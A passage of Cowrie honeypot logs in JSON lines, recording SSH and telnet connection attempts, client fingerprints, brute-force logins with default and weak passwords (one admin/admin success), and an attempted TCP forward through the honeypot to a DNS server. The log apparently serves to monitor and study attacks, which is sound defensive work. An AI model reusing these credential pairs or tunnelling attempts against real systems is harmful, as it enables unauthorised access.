{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55536,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13690b37c75","protocol":"telnet","message":"New connection: 69.4.83.194:55536 (159.203.135.109:23) [session: a13690b37c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:31.017691Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55940,"dst_ip":"10.17.0.5","dst_port":22,"session":"99f07ed773e1","protocol":"ssh","message":"New connection: 87.251.64.176:55940 (10.17.0.5:22) [session: 99f07ed773e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:43.810322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:43.816783Z","src_ip":"87.251.64.176","session":"99f07ed773e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:43.916818Z","src_ip":"87.251.64.176","session":"99f07ed773e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:44.206957Z","src_ip":"87.251.64.176","session":"99f07ed773e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:44.309811Z","session":"99f07ed773e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:44.445988Z","src_ip":"87.251.64.176","session":"99f07ed773e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:44.545496Z","src_ip":"87.251.64.176","session":"99f07ed773e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60544,"dst_ip":"159.203.135.109","dst_port":23,"session":"664bfd91e4e1","protocol":"telnet","message":"New connection: 69.4.83.194:60544 (159.203.135.109:23) [session: 664bfd91e4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:45.687270Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33496,"dst_ip":"159.203.135.109","dst_port":23,"session":"029b90b55cd7","protocol":"telnet","message":"New connection: 69.4.83.194:33496 (159.203.135.109:23) [session: 029b90b55cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:48.946761Z"}
{"eventid":"cowrie.session.closed","duration":37.279258012771606,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:50.259605Z","src_ip":"69.4.83.194","session":"6134f37a83d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62efb8785da","protocol":"telnet","message":"New connection: 69.4.83.194:36704 (159.203.135.109:23) [session: d62efb8785da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:57.087609Z"}
{"eventid":"cowrie.session.closed","duration":33.973958253860474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:57.740334Z","src_ip":"69.4.83.194","session":"7d5c2a8457d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":42190,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dad80fd3550","protocol":"ssh","message":"New connection: 43.245.97.82:42190 (159.203.135.109:22) [session: 9dad80fd3550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:01.254078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:01.261063Z","src_ip":"43.245.97.82","session":"9dad80fd3550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:01.501132Z","src_ip":"43.245.97.82","session":"9dad80fd3550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe","message":"login attempt [root/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:02.481942Z","src_ip":"43.245.97.82","session":"9dad80fd3550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.64250659942627,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:03.660100Z","src_ip":"69.4.83.194","session":"a13690b37c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:03.726618Z","src_ip":"43.245.97.82","session":"9dad80fd3550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.85256886482239,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:03.829828Z","src_ip":"69.4.83.194","session":"485d82b707f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.31436681747437,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:09.053286Z","src_ip":"178.128.93.180","session":"7a0fe33f65bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19316601753235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:16.880293Z","src_ip":"69.4.83.194","session":"664bfd91e4e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.239715337753296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:22.186372Z","src_ip":"69.4.83.194","session":"029b90b55cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76486897468567,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:30.852371Z","src_ip":"69.4.83.194","session":"d62efb8785da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":38302,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5d7919c0120","protocol":"ssh","message":"New connection: 185.40.30.168:38302 (159.203.135.109:22) [session: b5d7919c0120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:30.917902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:30.922761Z","src_ip":"185.40.30.168","session":"b5d7919c0120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:31.053335Z","src_ip":"185.40.30.168","session":"b5d7919c0120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123.","message":"login attempt [root/Admin123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:31.597344Z","src_ip":"185.40.30.168","session":"b5d7919c0120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:32.727941Z","src_ip":"185.40.30.168","session":"b5d7919c0120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38050,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6dce19fb518","protocol":"ssh","message":"New connection: 95.38.165.118:38050 (10.17.0.5:22) [session: f6dce19fb518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:40.206344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:40.211027Z","src_ip":"95.38.165.118","session":"f6dce19fb518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:40.373460Z","src_ip":"95.38.165.118","session":"f6dce19fb518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:40.861371Z","src_ip":"95.38.165.118","session":"f6dce19fb518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59430,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dcb50238cbb","protocol":"telnet","message":"New connection: 69.4.83.194:59430 (159.203.135.109:23) [session: 2dcb50238cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:55.256654Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53008,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ff8993e0617","protocol":"ssh","message":"New connection: 193.37.70.224:53008 (159.203.135.109:22) [session: 0ff8993e0617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:55.288340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:55.293652Z","src_ip":"193.37.70.224","session":"0ff8993e0617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:55.388885Z","src_ip":"193.37.70.224","session":"0ff8993e0617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02021985","message":"login attempt [root/02021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:55.660290Z","src_ip":"193.37.70.224","session":"0ff8993e0617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:50:56.752898Z","src_ip":"193.37.70.224","session":"0ff8993e0617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41524,"dst_ip":"10.17.0.5","dst_port":22,"session":"403b9a80a275","protocol":"ssh","message":"New connection: 95.38.165.118:41524 (10.17.0.5:22) [session: 403b9a80a275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:15.344534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:15.558059Z","src_ip":"95.38.165.118","session":"403b9a80a275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.99.30.209","src_port":42546,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab0be7122147","protocol":"telnet","message":"New connection: 89.99.30.209:42546 (159.203.135.109:23) [session: ab0be7122147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:16.309551Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:16.517559Z","src_ip":"95.38.165.118","session":"403b9a80a275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:18.120660Z","src_ip":"95.38.165.118","session":"403b9a80a275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:20.352304Z","src_ip":"95.38.165.118","session":"403b9a80a275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42922,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbf086c1ff06","protocol":"ssh","message":"New connection: 95.38.165.118:42922 (10.17.0.5:22) [session: cbf086c1ff06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:21.116374Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":40264,"dst_ip":"159.203.135.109","dst_port":22,"session":"df6ada53c427","protocol":"ssh","message":"New connection: 43.245.97.82:40264 (159.203.135.109:22) [session: df6ada53c427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:21.278031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:21.286374Z","src_ip":"43.245.97.82","session":"df6ada53c427","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:21.469350Z","src_ip":"95.38.165.118","session":"cbf086c1ff06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert